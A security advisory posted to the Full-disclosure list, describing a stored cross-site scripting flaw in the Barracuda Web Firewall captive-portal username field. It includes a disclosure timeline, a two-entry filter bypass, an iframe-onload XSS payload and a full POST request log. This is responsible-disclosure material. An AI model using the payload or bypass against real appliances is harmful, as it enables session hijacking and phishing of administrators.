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[Full-disclosure] Barracuda Networks Bug Bounty #31 Firewall - Persistent Access Policy Vulnerability



Document Title:
===============
Barracuda Networks Bug Bounty #31 Firewall - Persistent Access Policy 
Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1070

Barracuda Networks Security ID (BNSEC): BNSEC-2068


Release Date:
=============
2014-02-25


Vulnerability Laboratory ID (VL-ID):
====================================
1070


Common Vulnerability Scoring System:
====================================
3.5


Product & Service Introduction:
===============================
The Barracuda Firewall goes beyond traditional network firewalls and UTMs by 
providing powerful network security, granular layer 7 
application controls, user awareness and secure VPN connectivity combined with 
cloud-based malware protection, content filtering 
and reporting. It alleviates the performance bottlenecks in Unified Threat 
Management (UTM) appliances through intelligent integration 
of on-premise and cloud-based technologies. While the powerful on-premises 
appliance is optimized for tasks like packet forwarding and 
routing, Intrusion Prevention (IPS), DNS/DHCP services and site-to-site 
connectivity; CPU intensive tasks like virus scanning, content 
filtering and usage reporting benefit from the scalable performance and 
elasticity of the cloud.

(Copy of the Vendor Homepage: https://www.barracuda.com/products/firewall )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a persistent web 
vulnerability in the official Barracuda Networks Web Firewall appliance 
web-application.


Vulnerability Disclosure Timeline:
==================================
2013-09-04:     Researcher Notification & Coordination (Ateeq ur Rehman Khan)
2013-09-06:     Vendor Notification (Barracuda Networks Security Team - Bug 
Bounty Program)
2013-10-03:     Vendor Response/Feedback (Barracuda Networks Security Team - 
Bug Bounty Program)
2014-02-17:     Vendor Fix/Patch (Barracuda Networks Developer Team) 
[Coordination: Eric ****** ]
2014-02-25:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Barracuda Networks
Product: Web Firewall 6.1.0.016 - Models: X100; X200; X300; X400 & X600


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the 
official Barracuda Networks Web Firewall appliance web-application.
The web vulnerability allows remote attackers or local low privileged 
application user accounts to inject (persistent) own malicious script 
codes on the application-side of the vulnerable online-service module.

The vulnerability is located in the `Firewall > Captive Portal > Basic 
Configuration` and the vulnerable input field is `username` 
under the `User Access Policy Exceptions`. Remote attackers are able to inject 
custom malicious script codes via the `Username` 
input field. The attack vector is persistent and the injection request method 
is POST.

To bypass the filter and to be able to save the injected payload into the 
application, the attacker needs to create 2 entries. 
First entry should be the attackers payload and second entry should be any 
dummy account userid. The application only performs 
validation on the active field which is freshly added and ignores the earlier 
entries thus allowing successful injection of 
the script code into the application interface.

The security risk of the persistent validation vulnerability is estimated as 
high with a cvss (common vulnerability scoring system) count 
of 3.5(+)|(-)3.6. Exploitation of the persistent input validation vulnerability 
requires a low privileged application user account and low 
user interaction. Successful exploitation results in session hijacking, 
persistent phishing, persistent external redirects & persistent 
manipulation of affected or connected module context.

Vulnerable Application(s):
                                [+] Firewall (WAF) Appliance Application 
(X300Vx  v6.1.0.016)

Vulnerable Module(s):
                                [+] Firewall  >  Captive Portal > Basic 
Configuration > User Access Policy Exceptions

Vulnerable Parameter(s):
                                [+] username


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerabilities can be exploited by remote 
attackers with low privileged web-application user account 
and low user interaction. For security demonstration or to reproduce the remote 
vulnerability follow the provided information and steps below.

Manual steps to reproduce the vulnerability:

1. Login with the user account to the barracuda networks web firewall appliance 
application
2. Goto Firewall > Captive Portal > Basic Configuration > User Access Policy 
Exceptions
3. Inject the following Payload and click the + button to add.

ateeq%20"><iframe onload=prompt(/PoC/) src=x></iframe>

4. You should now be able to see a javascript popup proving the existence of 
this vulnerability.
5. Add another entry a dummy username. This bypass the input filter and you 
wont get a warning while trying to SAVE the modification in the application.


POC: 
<td valign="top"><table class="config_module" frame="box" 
id="policy_exceptions" rules="none" style="border:none;" summary="Box" 
cellpadding="0" cellspacing="0"><tbody><tr><td><input id="username" 
autocomplete="off" class="authen_cp" name="username" type="text"></td>
<td width="22"><input class="new_button authen_cp" id="+" name="+" 
onclick="add_exception()" value="+" type="button"></td></tr>
<tr class="pattern"><td>"><[PERSISTENT INJECTED SCRIPT CODE!]></td><td><input 
class="new_button" value="-" name="0" type="button">
</td></tr></tbody></table></td>


--- PoC Session Request Logs [POST] ---

POST /cgi-mod/index.cgi HTTP/1.1
Host: firewall.ptest.localhost:7228
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 
Firefox/23.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.7
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: 
https://firewall.ptest.localhost:7228/cgi-mod/index.cgi?auth_type=Local&et=1378377089&locale=en_US&password=e7657221263938518ad85296817f1f3a&user=guest&primary_tab=FIREWALL&secondary_tab=authen_cp
Content-Length: 606
Cookie: 
ys-fw_custom_user_objects5=o%3Acolumns%3Da%253Ao%25253Aid%25253Dn%2525253A1%25255Ewidth%25253Dn%2525253A150%25255Ehidden%25
253Db%2525253A1%255Eo%25253Aid%25253Dn%2525253A2%25255Ewidth%25253Dn%2525253A150%255Eo%25253Aid%25253Dn%2525253A3%25255Ewidth%2525
3Dn%2525253A250%255Eo%25253Aid%25253Dn%2525253A4%25255Ewidth%25253Dn%2525253A200%255Eo%25253Aid%25253Dn%2525253A5%25255Ewidth%25253
Dn%2525253A50
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

auth_type=Local&et=1378377108&password=33abcd72cc73fde950b3437920747e95&primary_tab=FIREWALL&realm=&secondary_tab=authen_cp&user=guest&role=
&locale=en_US&q=&UPDATE_authen_cp_usernames=ateeq%20%22%3E%3Ciframe%20onload%3Dprompt(%2FPOC%2F)%20src%3Dx%3E%3C%2Fiframe%3E&
UPDATE_authen_cp_user_auth=MSAD&UPDATE_authen_cp_user_access_policy=allow_all&username=%22%3E%3Ciframe%20onload%3Dprompt(%2FPOC%2F)%20src%3Dx%3E%3C%2Fiframe
%3E&UPDATE_authen_cp_auto_logout=30&UPDATE_authen_cp_auto_renewal=5&UPDATE_authen_cp_encryption=strong&UPDATE_authen_cp_signed_cert=
default&ajax_action=check_param_ajax_full&save=Save%20Changes


Response Headers:
HTTP/1.1 200 OK
Server: BarracudaFirewallHTTP 4.0
Date: Thu, 05 Sep 2013 10:12:56 GMT
Content-Type: text/plain; charset=utf-8
Connection: keep-alive
Content-Length: 2


Reference(s):
https://firewall.ptest.localhost:7228/cgi-mod/index.cgi?auth_type=Local&et=1378374620&locale=en_US&password=71109464bdb6adb668cf1e8c29392af0&user=guest&primary_tab=FIREWALL&secondary_tab=authen_cp
https://firewall.ptest.localhost:7228/cgi-mod/index.cgi


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse of the username input field. 
 Validate all entries inserted in the input field to prevent further 
executions of the same vulnerability.

2014-02-17:     Vendor Fix/Patch (Barracuda Networks Developer Team) 
[Coordination: Eric ****** ]


Security Risk:
==============
The security risk of the persistent input validation web vulnerabilities is 
estimated as medium.



Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Ateeq Khan (ateeq@xxxxxxxxxxxxxxxxx) 
[www.vulnerability-lab.com]



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=========================
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